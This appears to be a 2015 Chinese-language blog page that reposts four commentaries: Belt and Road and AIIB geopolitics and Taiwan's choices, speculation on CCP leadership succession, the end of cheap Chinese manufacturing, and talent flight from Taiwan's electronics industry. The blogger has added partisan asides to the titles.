Pages

Tuesday, 31 March 2015

台湾学者蔡明彥:「一帶一路」和「亞投行」牽動的地緣政經效應("一带一路“是共匪的黄粱美梦而已)

壹、美國地緣政治首要關切:防止歐亞大陸遭其他強權掌控
歐亞大陸,是全球地緣政治最重要的舞台,這裡有著世界上最豐富的人口和資源。人類歷史上所有重要的帝國,多數建立在這片歐亞大陸土地上,從希臘、羅馬、鄂圖曼、蒙古、德意志、甚至蘇聯,無一例外。
在人類歷史上,唯一不是立足歐亞大陸的超級強權,只有美國。美國這個崛起美洲新大陸的世界超強,在太平洋、大西洋兩大洋的保護隔離下,建國初期在外交上採 取「孤立主義」,只想在新大陸開創人類理想中的進步國度和良善制度,不想捲入歐亞大陸特別是歐陸地區不斷上演的強權角力。但是德國在兩次世界大戰對外擴 張,讓美國警覺到一旦歐亞大陸遭其他強權控制,還是會威脅美國外貿及安全,因此不能再置身歐亞大陸權力遊戲之外。
有鑑於此,美國外交政策路線在20世紀初期改採「國際主義」,積極介入全球事務,在地緣政治上最主要的關切之一,就是防止歐亞大陸政經資源遭其他強權壟 斷,威脅美國世界領導地位及建立的國際秩序。這樣的關切反應在冷戰時期美國全力圍堵蘇聯在歐亞大陸的擴張,也說明為何當前美國對崛起歐亞大陸的亞洲新興強 權-中國,投以高度關注。
近年來,各界對中國崛起後的戰略意圖,一直存在不同解讀。有人認為中國是個「修正主義」(revisionist)國家,國力崛起後勢必挑戰以美國為中心 的世界秩序。但也有人認為,中國只是個「現狀國家」(status quo power),因為中國一直受益於美國主導的國際秩序,讓中國國力得以穩定成長,因此不具備挑戰美國領導地位的動機。
就在外界對中國戰略意圖持續爭辯之際,中國第五代領導人習近平在2012年11月接班上台,提出具民族主義色彩的國家發展路線,對內追求「中國夢」與「民族復興」,對外推動「具有中國特色的大國外交」,而「一帶一路」計畫就在這樣的思維下誕生。
所謂「一帶一路」,指的是「絲綢之路經濟帶」與「21世紀海上絲綢之路」。「絲綢之路」概念起源西漢時期張騫出使西域,開闢長安(西安)為起點,途經河西 走廊、塔里木盆地,連接波斯灣國家,最後到達歐洲及非洲的歷史通道。中國提出「一帶一路」計畫,顯示將以崛起的經濟實力為後盾,重新打造一條貫通歐亞大陸 的海、陸經貿及運輸通道。中國身為亞洲陸塊的崛起大國,尋求將國力往外投射涵蓋整個歐亞大陸,背後隱含提升中國國際影響力的戰略意涵,這樣的舉動自然挑動 美國在地緣政治上的敏感神經。
貳、中國歐亞戰略佈局的起手式:「一帶一路」與「亞投行」
習近平在2013年9月7日訪問哈薩克時,指出中國將和中亞國家發展新的合作模式,共同建設「絲綢之路經濟帶」。根據習近平的說法,這個構想能「加強道路 聯通,打通從太平洋到波羅的海的運輸大通道,逐步形成連接東亞、西亞、南亞的交通運輸網絡」。他呼籲沿線國家應該加強貿易暢通,包括推動貿易和投資便利 化、加強貨幣流通、建立本幣兌換和結算機制。1
依照中方的規劃,「絲綢之路經濟帶」將起於中國的中心點-西安(Xian),向西延伸至甘肅省蘭州(Lanzhou)、新疆省烏魯木齊(Urumqi), 再往西南經由中亞地區進入伊朗北部、伊拉克、敘利亞、土耳其,隨後從伊斯坦堡(Istanbul)穿越博斯普魯斯海峽,往西北經過歐洲國家包括保加利亞、 羅馬尼亞、捷克與德國。在經過德國杜伊斯堡(Duisburg)後,向北進入荷蘭鹿特丹(Rotterdam),再往南進入義大利威尼斯(Venice) 和「21世紀海上絲綢之路」會合。2北京認為「絲綢之路經濟帶」將結合貿易、投資、金融合作等方式,連結亞太經濟圈與歐洲經濟圈,跨越東亞、南亞、中東、 歐洲以及北非地區,其中涵蓋40多個國家、30多億人口,未來將成為歐亞大陸最具發展潛力的經濟走廊和戰略性經濟帶。
至於「21世紀海上絲綢之路」,則由習近平在2013年10月3日訪問印尼時提出,他強調中國將和東協加強海上合作,共同建設「21世紀海上絲綢之路」。 3路線的起點為福建省泉州,連接廣東省廣州(Guangzhou)、海南省海口(Haikou),往南進入麻六甲海峽,再從馬來西亞可倫坡(Kuala Lumpur)轉往印度加爾各達(Calcutta)(未來可能增加斯里蘭卡的港口),到達肯亞的奈洛比(Nairobi)後,往北經過非洲之角,途經紅 海進入地中海,並在銜接雅典(Athens)後,轉而連接「絲綢之路經濟帶」的終點-義大利威尼斯。4中國認為透過「21世紀海上絲綢之路」,可和沿線國 家共同修建海上運輸與港口基礎設施,提供中國海外投資管道,增加和沿線國家海洋商務往來及經貿機會。5

圖:「一帶一路」路線規劃
資料來源:”The Long March of the Middle Kingdom,” The Telegraph, November 11, 2014
為了推動「一帶一路」計畫,北京還提議成立「亞洲基礎設施投資銀行」(簡稱「亞投行」),替亞洲國家基礎設施包括公路、鐵路、港口建設提供融資服務。 2014年10月,北京在「亞太經合會」(APEC)財長會議期間,和相關國家簽署《籌建亞投行框架備忘錄》,預定半年內正式成立「亞投行」,並在 2015年底前運作。「亞投行」總資本額預計為1000億美金,其中一半由中國承擔,總部將設於北京,目前已有30多個國家加入成為初始成員國。
參、大國浮現地緣政經角力
中國欲藉「一帶一路」計畫提升在歐亞大陸的洲際強權地位,自非美國所樂見。另外,美國也擔心「亞投行」的設置,可能讓美國主導的國際金融規範遭受挑戰。
基本上,「亞投行」和美國主導的「亞洲開發銀行」角色接近,都是對亞洲國家提供公私部門的融資放款。美國主導的「亞洲開發銀行」在對外提供放款計畫時,常 要求受援國提高政策透明、打擊貪腐、保護環境及勞工權益等附帶條件。中國常批評美方刻意操作「非經濟因素」干擾開發中國家經濟發展,因此「亞投行」設立 後,北京勢必會提出有別於「亞洲開發銀行」的運作標準,建立一套由北京主導的新規範。
美、日等國認為中國推動「一帶一路」與「亞投行」,是利用「區域互聯」的名義、透過基礎建設聯通,將周邊國家納入以中國為中心的經濟圈,提升中國的區域角 色及國際影響力。所以「亞投行」還沒正式設立,就遭到美、日等國的質疑,美國甚至遊說區域盟友包括澳洲及南韓等國,不要加入「亞投行」的運作。6
另外,印度對「一帶一路」中的「21世紀海上絲綢之路」也有所疑慮,擔心中國一旦參與在斯里蘭卡、巴基斯坦的港口建設,可能取得南亞重要港口營運權及海軍 設施使用權,屆時將威脅印度利益。因此,印度總理莫迪(Narendra Damodardas Modi)上台後提出「季風計畫:跨印度洋海上航路與文化景觀」計畫(Project Mausam: Maritime Routes and Cultural Landscapes Across the Indian Ocean),尋求恢復印度洋在古代的海上航路,提升東非、阿拉伯半島、南亞次大陸、東南亞國家的經貿與文化合作,頗有抗衡中國「21世紀海上絲綢之路」 的用意。7
隨著2015年3月底加入「亞投行」成為初始會員國的日期逼近,包括英國、法國、德國、義大利等歐洲國家已選擇加入「亞投行」,南韓也表態跟進。在無法有 效地阻止盟友加入「亞投行」的情況下,美國的下一步動作可能會希望參加「亞投行」的盟友,要求「亞投行」運作透明化,貸款標準也不應脫離「亞洲開發銀行」 的規範太遠,以防美國建立的國際金融放款規範遭「亞投行」挑戰。
早在10年前,美國便利用前述操作模式,讓中國主導設立的「東亞高峰會」出現質變。當時北京推動「東亞高峰會」,原本希望建立由中國主導的區域整合平台, 因此透過「東亞主義」的操作,刻意排除東亞以外的國家參加。但後來在澳洲、紐西蘭、印度等非東亞的親美國家加入後,中國已無法掌控「東亞高峰會」,遑論美 國決定加入「東亞高峰會」後,甚至讓這個平台變成美國結合亞洲其他國家批評中國海洋擴張政策的外交舞台。
北京主張擁有「亞投行」一半以上的出資比例,還希望依照國內生產毛額規模分配各國投票權,應是為了主導「亞投行」決策權。的確,「亞投行」的設置反映美國 在國際金融領域建立的秩序,正面臨中國挑戰。美國一方面必須應付中國結合其他開發中國家(尤其是金磚國家)提出改革「世界銀行」及「國際貨幣基金」的呼 聲,增加開發中國家在這些國際金融機構的參與權及發言權;另一方面,美國還要擔心中國另起爐灶,設立「亞投行」和「金磚國家開發銀行」這類新機構,挑戰美 國長期主導的國際金融規範。
短期內,美國在政治與安全等優勢領域建立起來的領導地位與秩序,應不至於立即被其他國家取代;但在美國力有未逮、中國漸有優勢的領域,例如國際金融貸款、跨國基礎設施聯通、人民幣國際化等部分,中國步步進逼的動作恐怕會越來越多。
肆、台灣如何自處?
台灣應不應該加入「一帶一路」跟「亞投行」,可能要思考幾方面的問題:
首先,從經貿及外交角度來看,我國財經官員已公開表示台灣若能加入相關計畫,有利於台灣的經濟及商機。8但是站在國家的立場,參與這類協助開發中國家發展 的國際金融機構,除了商業利益的回報外,還應該考量未來「亞投行」的運作及放款標準,是否符合透明化、良善治理、公平參與等原則?能否實現我國參與這類國 際合作所要彰顯的外交價值?
另外,從政治面來看,參加這些計畫牽涉到台灣處理國際參與及兩岸關係時面臨的老問題,那就是潛在的政治成本。台灣加入北京主導的「一帶一路」與「亞投 行」,是否讓我國的國際參與建立在北京的「讓利」之上?在北京「讓利」過程中,台灣是否需付出政治代價?當年台灣參加美國主導的「亞洲開發銀行」,在中國 打壓下名稱被改成「中國台北」﹙Taipei, China﹚,未來台灣要用什麼樣的身分及名稱參加「亞投行」,也需要進一步評估。
最後,從國際戰略的角度看,「一帶一路」和「亞投行」牽動大國戰略角力,截至目前為止,美國仍對盟友加入相關計畫抱持反對態度。台灣表態參加這些由北京主導的計畫,是會增加我國在美中台三角互動中的籌碼?還是壓縮台灣的戰略空間,向中國更加傾斜?
根據媒體報導,目前我國政府已由財政部負責加入與否的評估工作,9並傳出在今年亞洲「博鰲論壇」中,我方代表已向北京表達參加「亞投行」的意願。同時,馬 政府也決定正式由行政院陸委會,透過中國國台辦向「亞投行」籌備秘書處提交參與意向書。10 我國政府必須透過中國國台辦才能提交意向書,再度凸顯了台灣參加由北京主導的國際金融機構存在的政治風險,諸如兩岸對等問題、身分問題、名稱問題都會接踵 而來,問題是在北京的主場優勢之下,台灣又能有多少議價的籌碼?中方的「善意」會讓台灣付出多大的政治代價?
總的來看,台灣參與相關計畫的決策,不只牽涉經貿,還涉及開發援助規範、外交價值、國際戰略、兩岸定位以及國內政治,需要進行全面的損、益評估,千萬別將戰略性和政治性問題,當成一般的投資問題來處理,以免陷入沒得到裡子、還賠上面子的國際處境。
作者蔡明彥為中興大學國際政治研究所教授

江泽民和曾庆红当年极力提拔习包子,现在终于体会到了“农夫和蛇的故事”的滋味

中共两个前军委副主席,徐才厚已经被正式定性为军中大老虎,郭伯雄的儿子已经被正式启动调查程序。两会期间,也有军方代表指出前军委主席胡锦涛主政 期间,就被这两个军委副主席掣肘架空。持这种观点的人,或许忽略了现在的最高领导人习近平在十八大以前也是军委副主席。假如徐和郭在架空胡,那么习当时扮 演什么角色呢?冷眼旁观、反对或者支持这种架空?习会不会从胡被架空的这个结果受益呢?
  胡作为中共第四代领导人,在其执政的十年里,经历了诸如国际金融危机、汶川地震等一系列重大事件,能保持中国基本稳定发展,其功过是非到底如何,有待历史评价。胡究竟有无被架空,这个问题似乎是一个政治八卦,但也的确是解读中国当代政治博弈的一个切入点。
  胡从2002年的中共十六大被确定为党和国家领导人,但他的前任江泽民在2005年才正式辞去中央军委主席职务。这意味着,十六大的人事布局基本仍在江的主导下。所以2002年的胡温新政后不久,就传出政令不出中南海的坊间观察。
  如果真正了解中共的权力交接体制,以及有过细心观察,就会发现一个非常有趣的现象。那就是每隔五年,在这个政党的全体会议上,就会进行一次权力 或者分工的重新分配。而在这个五年节点前的2-3年,各种热身运动、准备活动就会开始。这在某种意义上算是“有中国特色的中期选举”。比如在2012年被 查处的前重庆市委书记薄熙来,就被指出有意问鼎常委,而薄正是从09年(2012年召开的18大前2-3年)开始高调的唱红打黑运动。中国的政治精英们相 信,在这个时间点开始展示自己的影响力,有助于提高自己或者自己青睐的人选进入权力核心的可能性。
  那么让时间回到胡的执政时代,在江正式辞去军委主席的2005年,刚好也是十七大即将召开前的2-3年,那一年发生了什么?如果检索从2006-2007年的中共新闻,会发现有两个人的名字关联度在明显上升,那就是曾庆红和习近平。
  曾作为江的办公厅主任,也曾担任中共的组织部长,全面掌管中共封疆大吏们的考察和升迁。在16大以后,曾作为国家副主席,分管港澳事务。 2006年-2007年期间,曾多次到习近平所在的浙江省考察,并带领习和上海市长韩正等人一同出现在公众场合。在2006年,原上海市委书记陈良宇因贪 腐问题被查处后,习被选为上海市委书记。之后在2007年,习则顺理成章地出现在十七大主席台,成为曾的接班人。互联网上可以搜索出大量的官方照片,显示 曾习两人在十七大主席台上热情地握手和拥抱。这足以说明,习是接替了曾的位置,或者说曾为习进入常委做了大量的工作。假如习不是接替曾的位置,那么他应该 和整个16大的领导集体一一拥抱握手,这样更容易说明接班人的选拔是党的集体决定,而不是特定人士的私相授受。
  现在问题出现了。如果胡在16大任期内仍然处于江的影响力之下,那么作为江的最核心助手的曾指定习作为自己的继任者,是不是可以被理解为江对十 七大的一种布局?实际上,曾不仅是将习指定为自己的继任者,实际上也等于将习指定为十八大以后党的最高领导人,也就是胡的继任者。
  这样一来就会发现一条清晰的脉络,也就是习为何能够快速地从浙江省委书记到上海市委书记,然后迅速进入中共的十七大常委。从各种公开资料来看, 无法发现习主政地方期间,有什么明显可以说明其具备担任下一届最高国家领导人的业绩,除了习的父亲作为中共的前副总理,有着改革者的名声。显然,习在十七 大进入常委更可能是一种人为操作的胜利,而不是一种正常的选用贤能遴选机制的结果。不过,如果因此说明习毫无能力,也不见得是客观的结论。
  按照这个惯性继续推演,就不难发现这个人为操作的政治布局,使得中共的十七大进入了一种微妙博弈气氛。从形式上看,邓小平在退出权力中心前,将 胡引入了政治局常委。现在江则在自己退出权力中心之后,将习引入了政治局常委,从而使这种隔代指定的模式传递下来。那么接下来胡是否也可以指定一个人选作 为习的继任者呢?或者再换一个角度,这种隔代指定接班人的制度是否是中共党内接受的一种权力交接模式呢?
  这里触及到了中国政治制度最为微妙敏感的地带。不难发现(或者装作惊讶地发现),这个庞大系统的权力中枢,竟然没有一套可以公开的领导人遴选机 制。即便是面向这个七千万党员的组织内部,这个机制也是讳莫如深。假如前面所猜测的隔代指定只是一种表面形式,而其实质仍然是不同派系力量之间掰手腕的游 戏,那么从邓到江,从江到胡的权力交接过程,就无法充分证明隔代指定机制的存在,而只是一个偶然的现象。作为整体的党,无法将这个模式制度化。党的权力中 枢的成员,也未必接受这种游戏规则。这样的结果就是:江曾在十七大将习指定为曾的接班人和下一代党的最高领导人以后,就必须从权力层面确保这个结果不被其 他人推翻,换言之,就是必须把胡的政治影响力继续压缩,直到完成十八大权力交接。
  胡到底有没有被架空?这个问题恐怕不会有一个清晰的结论。胡显然不是没有权力,但他的权力也没有强大到指定自己的接班人。而在胡的博弈对手看 来,胡仍然是党的最高领导人,而且在各个省份和政府部门中积累了不容忽视的组织资源。如果胡有指定自己接班人的意图,既是合理的,也是有一定能力去实施这 一意图的。
  考虑到胡在十六大的弱势,以及江曾成功操作习进入政治局常委,有理由相信胡的这种弱势地位在十七大以后得到了一定程度的延续。胡与习的关系变得 非常微妙。从习的政治升迁轨迹来看,他与胡没有任何交集。习作为胡的政治博弈对手指定的接班人,也一定清楚知道假如自己没有被曾庆红力荐进入政治局常委, 那么胡的继任者一定另有他人,比如现任的总理李克强或者副总理汪洋。假如习与其他可能的候选人一起公开竞争的话,比如考察政绩或者施政理念,习未必有足够 的把握成为最终胜利者。毕竟这个国家的社交媒体上的主流话语在那时更期待推进政治体制改革,而胡的候选人们更加符合这种民间的期待,哪怕是形式层面的。
  新华社的官方报道显示,习在2007年以后作为国家副主席出访德国时,习向德国总理默克尔赠送了两本江泽民的科技著作。熟悉中共政治语言的人会 很明显地感受到习在表达江的影响力和自己的站队,习的这种表现是不太符合中共的常规政治伦理,甚至可以被解读为向胡的一种示威。这也说明,习并不需要胡的 认可,而只是尽量耐心地等待胡的政治生命终结,然后自己顺理成章地成为这个庞大系统的新核心。如果胡在某些进程上让习感觉不耐烦(比如那段时间传言胡不肯 同意习作为军委副主席),那么习的这种任性的表达也是情理之中。毕竟习清楚地知道胡处于上下挤压的弱势地位,一个弱势的领导者不尊重现实的权力格局也是让 人不能接受的。从这个意义上讲,一切让胡无所作为的掣肘和架空行为,习都会是受益者–胡越是被人当作无能,越是给习留下了广阔的政治舞台。至于习本人是否 参与这种架空行为,已经不是那么重要,反正会有其他人帮他安排好通向未来权力巅峰的一切。
  2012年十八大召开前夕,中国多个城市发生了针对钓鱼岛纷争的反日示威活动。稍有头脑的观察者都能看出来这是一场有着明显官方操纵痕迹的政治 嘉年华活动。1999年中国驻南斯拉夫大使馆被炸,当时担任国家副主席的胡锦涛被责成处理这一问题,并在电视上发表讲话,引导国内民意走向稳定。有人指 出,如果胡处理失当,很可能会因此被质疑是否有担任最高领导人的能力。但在2012年9月的这场活动里,习近平作为国家副主席神秘地消失了将近两周之久。 出来表态的是胡锦涛、温家宝和李克强。到底是谁主导了这场突然出现的声势浩大的活动,可能会成为一个历史谜团。有两个细节可以作为参考:一是在这场运动 中,有为数不少的人借机要求释放被查处的薄熙来,而在薄如日中天的时候,习是到重庆肯定薄的运动的常委之一(没有去重庆为薄背书的常委就只剩下胡锦涛、温 家宝和李克强);二是在运动最热烈的西安有人发现公安人员扮演示威群众。而十八大以后,西安所在的陕西省,它的省委书记赵乐际(与习近平是同乡)进入政治 局并成为中组部部长。
  普通中国人如果不是有足够的耐心和细致的观察,恐怕很难从纷繁芜杂的消息中梳理出这么多的线索。他们更可能从大纪元之类的海外华文媒体获取被“喂料”的信息,相信胡习是政治联盟,在一起对付江曾,甚至相信胡被打倒的助手令计划也是江曾的党羽。
  以上的分析梳理,也难免主观,因为能够获取的资讯有限。但仅仅是这些信息,也已经足以表明目前绝大多数海内海外华文信息对中国目前形势的分析,是一个多么巨大而荒唐的闹剧,是比雾霾更加严重的信息污染。很显然,有人在故意操纵信息,以形成有利于自己利益的舆论环境。
  两会前传出的中纪委网站的文章,据说以“庆亲王”来影射曾庆红,表示打虎无上限,没有铁帽子王。实际上,曾恰恰是习通向最高权力道路的导师,是 造王者(King Maker),而且习与曾同为红二代。假如有人有明确的证据证明曾也涉及贪腐,习对曾的回避就将给自己贴上选择性反腐的标签。这样一来 人们不得不怀疑,习对胡时代崛起的平民官员系统的针对性反腐,究竟是真的为了反腐?还是为了让自己在十九大连任,让红二代全面掌握权力,而对平民背景官员 派系进行政治清洗。
  假如习真的打算把反腐运动推高到曾这一层级,那么他必须要与这位政治导师进行彻底的切割。这个手术难度之大,恐怕他的对手都会为他捏一把汗(当 然他的对手也非常乐意看到他陷入这种两难选择,从而让习的反腐光环落入尘埃,回归本来面目)。除非曾为了成就习的伟业而牺牲自己,否则这场反腐运动将很有 可能走向一场全面的失控。
  不过在习决心调查曾的问题之前,有一点却是非常肯定的。那就是对胡的派系进行更加全面彻底和冷酷无情的清洗。如果自己被迫要切除一根手指,那么 对方恐怕要切掉的就是一堆头颅了。至少目前的进度已经表明,红二代在薄熙来被查处上受到的形象玷污,在胡的核心助手令计划身上已经要加倍得到补偿了,包括 但不限于令氏夫妇生活糜烂的宣传和对令氏家族成员的查抄,让人觉得薄的问题相对而言都不是那么严重了。

吴晓波:“价廉物美”的时代是时候结束了(基本上可以说:中国货就是烂货的代名词)

1990 年代中期,我到温州调研打火机产业,温州人把十多个零配件摊在桌子上,一个一个捏起来,告诉我温州造与日本造的价格差:电子点火器,日本成本1.1元,温 州人0.2元;密封圈,日本成本0.2元,温州人0.01元;塑料配件,日本成本0.6元,温州人0.08元,再算上温州工人月薪比日本工人低20倍。
一溜成本账算下来,年轻的温州老板很豪气地一拍桌子:‌‌‌‌“一只打火机,日本造的市场零售价是一美元,温州造是一元人民币,看我们不干死小日本!‌‌‌‌”他大声讲出这段话的时候,温州有3000多家大大小小的打火机工厂,年产20亿只,俨然全球第一。
在过往的中国企业崛起史上,这样的景象从来就不陌生。同样的一个商品,我们的企业家们以令人惊讶的成本控制能力——包括原材料成本、制造工艺成本、劳工成 本、土地成本、税务成本、土地成本以及环境治理成本、营销成本等等,硬生生地打垮了一个又一个领域的国际竞争对手,造就了Made in China的神话。曾经中国最大的彩电工厂四川长虹的董事长倪润峰更是总结过一个‌‌‌‌“30%生死线‌‌‌‌”的竞争规律:在同等功能的前提下,长虹 彩电必须比日本和欧洲品牌便宜百分之三十,这是必须守住的‌‌‌‌“生死线‌‌‌‌”。
这条‌‌‌‌“生死线‌‌‌‌”,我们守了三十年。
溯至于今日,我们似乎应该回答这样的问题了:这条‌‌‌‌“生死线‌‌‌‌”还守不守得住,我们还应不应该去守这条‌‌‌‌“生死线‌‌‌‌”?
再回头说那只打火机。
就在那位年轻的温州老板很豪气地拍桌子的时候,我拿起他的打火机,连打了三次才打出火,而那块薄薄的钢片却差点掉下来,他很坦然地对我解释说:‌‌‌‌“这是一次性打火机,很多人用几回就丢了,没必要像日本人做得那么结实。‌‌‌‌”
这个细节里隐含着一个事实,即温州打火机的巨大价格优势,除了来自各项成本落差之外,其实也来自配件质量和用户体验的刻意下降,此外,作为产业的模仿后进者,不必在技术迭代上进行投入。
因此,所谓的‌‌‌‌“价廉物美‌‌‌‌”,‌‌‌‌“价廉‌‌‌‌”是硬梆梆的,‌‌‌‌“物美‌‌‌‌”则其实未必
从2003年前后开始,随着国内原材料和劳动成本轮番上涨,温州打火机工厂的压力越来越大,行业平均利润率跌到2%的可怜水平,大量工厂倒闭转产,3000多家企业缩水至100余家,且全数苟延残喘,而在这些年里,温州人对打火机产业的技术迭代进步的贡献几乎为零。
小小的打火机,是一个小小的缩影,从中可以读出一代人的野心、付出与局限。
制造业可谓中国经济的基本盘,它的可持续成长取决于量与质的均衡递进。三十余年来,我们的制造产能已经得到了空前的提升,从纽扣、家电到汽车、手机,无一 不列全球第一,可是,赖以制胜的成本优势却在不知不觉中烟消云散了,因此‌‌‌‌“价廉物美‌‌‌‌”的空间其实已经被极端地压扁。
更重要的是,当今中国出现了数以亿计的中产阶层人士,他们开始认真地关注商品的质量与性能,这一族群有四个显著的消费特性。
第一,他们是典型的性能偏好者。即便是去买一双运动鞋,他们也明确地知道自己需要的是慢跑鞋,还是休闲鞋,或是登山鞋,而拉开他们的衣柜,一打清清爽爽的衬衫,春秋两季各有不同,正式休闲必须分别,细分意味着品位,品位诉求于品质,品质指向于品牌;
第二,他们是精明的广告辨识者。粗鄙的、脑白金式的洗脑广告在他们看来是对智商的侮辱,他们迷信体验,更愿意相信来自同一审美水平的口碑传播。他们很难认同一个品牌,不过一旦入得法眼,却会成为持续的消费者和慷慨的分享者;
第三,他们愿意为高品质埋单。他们相信好的商品就应该有相匹配的价格,这既是对商品提供者的尊重与犒劳,也是对自我品味的一次认可,消费行为的必需性让位 于审美性,他们愿意为服务埋单,为设计埋单,为技术埋单,为流行元素埋单,商品提供者的每一份用心都值得用更多的金钱予以肯定;
第四,商品的定价与成本无关,而取决于消费者心理的价值认同。一只小坤包是用真皮还是人造革制成的,与它的标价是三万元还是一千元无关,那些订购12万元一只苹果智能手表的尝鲜者,对手表配件的制造成本毫无兴趣。
这些新的消费特性,是物质充沛时代的标志,意味着新的主流消费理念的变革,而它们无一不是对‌‌‌‌“价廉物美‌‌‌‌”观念的扬弃。
让人稍稍感到失望的是,当今国内的绝大多数制造商并没有察觉这一潮流的改变,甚至在新兴的互联网产业里,我们仍然目睹的是陈旧的‌‌‌‌“价廉物美‌‌‌‌”战略的延续。
我们看到一些新锐的企业家,穿着乔布斯式的牛仔裤,站在硕大的LED屏前,非常细致地告诉台下的听众,他们即将面世的衬衫,用了全世界最好的棉线、最好的 印染工艺、最好的免烫技术,无论从质量到品相,还是从舒适度到体面,都堪比新光百货所有售价几千元的衬衫,而价格却只需129元。
每每看到这样的演讲场景,我总不由自主地遥想起当年的温州老板和倪润峰。
我相信他的真诚,但我真的不相信他的未来。
我宁愿相信,好的商品就应该有好的价格,有了好的价格才可能有好的利润,有了好的利润才可能有好的研发,有好的研发,才可能有更好的商品
所谓的‌‌‌‌“价廉物美‌‌‌‌”,作为广告概念是可以存在的,甚至作为阶段性的促销攻击策略,也是值得尝试的,但它不应再是‌‌‌‌“中国制造‌‌‌‌”的绝杀神技,更不可能把‌‌‌‌“中国制造‌‌‌‌”带到一个新的升级层次。
我宁愿相信,已经粉墨登场的中产族群愿意为好的商品支付好的价格,他们愿意自己信赖的公司蒸蒸日上,有更高的利润率,用更多的投入为他们提供更好的商品
星转斗移,万物蝶变。今日中国市场,‌‌‌‌“30%生死线‌‌‌‌”不但守不住了,而且已经完全不必再守。在这个意义上,‌‌‌‌“价廉物美‌‌‌‌”的时代真的可以结束了。
------------------------
“便宜没好货,好货不便宜”-基本上,99%准确。

钛媒体:人才流失加剧,台湾电子产业正遭遇瓶颈

台湾高科技产业衰落的情况下,中国大陆提出向中国创造转型,增加对创新的资金投入,去年以来加强这方面的投入,这几年大陆创新企业在资本市场创造的诸多科技造富神话无不吸引台湾的高科技人才前往淘金。
近日台湾联发科前手机部门老大袁帝文加盟展讯,这引出了一个大家忽视的问题,那就是台湾其实早就已经达到了产业瓶颈,其人才难有发展空间,所以人才流失是必然的问题。
台湾高科技产业的发展
台湾在1980年代与香港、韩国、新加坡被世人称为亚洲“四小龙”,在世界产业转移中,借助代工模式迅速发展成为亚洲四小龙之首。1992年,台湾 国民生产总值达到2000亿美元跃居世界第20位,人均国民生产总值超过1万美元居世界第25位,外贸总额1500亿美元居世界第14位,外汇储备900 亿美元居世界第3位。那时候台湾可谓风光无限。
代工模式支持台湾半导体制造业发展。1987年台积电成立,确立以代工模式来发展半导体制造业,后来台积电成为全球代工业龙头,台湾的另一家半导体 制造企业联电在1995年也转变策略以代工模式发展,到2004年台积电占全球半导体制造代工市场份额的46%,联电占23%,台湾牢牢掌握着全球的半导 体制造业。
代工模式支持台湾的IT业发展。1990年代,台湾强调生产专业化,兴起了富士康、广达、宏达等代工企业,他们强调自己在制造业的专业、高效率,为 全球各品牌如HP、NOKIA、MOTOROLA、DELL、SONY、CISCO等企业代工制造电脑、手机、网络设备等,而欧美这些品牌企业则希望利用 亚洲的廉价劳动力提高利润率,于是台湾IT制造业借助代工模式得到腾飞。
在这个过程中,台湾也诞生了自己的品牌,如宏碁、华硕、宏达电等高科技品牌,宏碁和华硕在笔记本电脑市场挤入全球前五,据NPD displaysearch的数据2014年二季度华硕在全球笔记本电脑市场居第三位,而宏碁居全球第五,宏达电曾进入全球智能手机前五,居美国市场份额 第一,但是被苹果以专利狙击后衰落。
与韩国竞争台湾高科技产业失利
台湾的高科技产业曾是与韩国并肩,部分甚至超过韩国,然而如今台湾仅剩下联发科和台积电两大龙头。
在2002年提出的“两兆双星”计划推动下,液晶面板产业发展迅速,市场份额曾超过韩国,位列全球第一,但是后来却逐渐衰落,2008年金融危机台 湾被冲击,之后在与三星竞争中节节败退,三星反积极投资面板获得市场份额冠军,2014年LG、三星两个韩国企业成为全球液晶面板市场份额第一、第二名, 今年台湾很大可能被中国大陆抢走液晶面板市场份额第二的位置。
内存产业也是如此,台湾的DRAM产业原本接近与韩国相当,但是经过近十年的竞争,此消彼长之下,到2014年Q4韩国的三星和SK海力士两家占全球市场份额接近70%,台湾南亚和华邦分别只有3.1%、1.3%的市场份额。
台湾的IT代工产业衰落。台湾的笔记本代工业务曾占全球90%以上,然而随着大陆的联想笔记本崛起,其采用自主生产模式,按联想在2012年的规划 到去年自产比例将达到70%以上,目前联想也在加大手机自产的力度,正导致台湾的代工企业出现衰退。目前全球最大的代工厂鸿海,也是台湾的企业,面对着不 利的局面也在寻求转型,例如进入电商行业。
台湾高科技产业与韩国竞争失利的一个重要因素就是台湾严格控制先进技术转入中国大陆,例如早期的液晶面板生产,在大陆京东方、华星光电开始建设8代及以上高世面板厂的时候,韩国三星、LG即迅速开始与大陆地方政府合作建设8代及以上先进技术的液晶面板厂。
而台湾的友达却只能在大陆建设7.5代线,目前三星正在西安建设其在全球最大的半导体制造厂并计划未来采用10nm工艺,而联电去年底被批准在厦门建设的12英寸半导体制造厂却只能使用40nm,而大陆的中芯国际已在去年底试产28nm工艺。
台湾仅剩的两大高科技龙头台积电和联发科正面临挑战。台积电目前仍然是全球第一大半导体制造代工企业,市场份额超过四成,联电是台湾第二大半导体制 造代工企业,2013年三星的半导体制造代工收入与联电的差距只有900万美元,预计2014年三星应已超过联电成为全球第二大半导体制造代工企业。
技术上,三星的14nm FinFET工艺已经量产,而台积电的16nm FinFET量产时间一再推迟,其宣称今年下半年能投入量产,但是目前无疑在技术上已经落后于三星。
联发科是全球第二大手机芯片企业,它进军高端市场尚未见取得突破,但是却正在经受华为海思和三星等芯片企业挑战。华为海思是中国大陆华为公司的旗下 芯片企业,依托华为公司积累的移动通信技术优势,其在通信基带技术上遥遥领先于联发科与手机芯片霸主高通相当,手机处理器的技术不差于联发科。
三星新推出的Exynos7420芯片经国外的测试软件geekbench测试其性能要比高通的810还要好,去年7月发布了LTE基带,凭借着三星半导体领先的工艺和三星全球第一大手机企业的优势,三星在手机芯片市场有很强的发展潜力。
台湾产业面临的困境导致人才流失
台湾产业面临的不利局面直接导致的就是台湾薪资水准持续近15年时间基本没有变化,2014年台湾每月的实质薪资只有约47243新台币,大学生起 薪22000元,均不及1999年的水平。去年底瑞士洛桑管理学院公布的“全球人才报告”,台湾总名次27名,相比上一年下跌了4名,是近10年最差的名 次。
中国大陆去年组建了约200亿美元的集成电路发展基金扶持大陆的芯片业务发展,据说已给予展讯300亿资金。在巨额资金的扶持下,大陆的芯片企业开始积极扩张,猎取人才,甚至在台湾设立办事处高新挖取人才。
大陆企业为了吸引台湾人才,开出高薪资,例如华为旗下的海思半导体就开出三至五倍的薪资,甚至愿意代被招募的人才向原企业支付“竞业违约金”,除此 之外在台湾设立办事处让台湾人才在当地办公而不需要到大陆上班。袁帝文正是在这样的背景下来到展讯的,据说展讯还挖了包括前晨星等数百名IC设计人才。
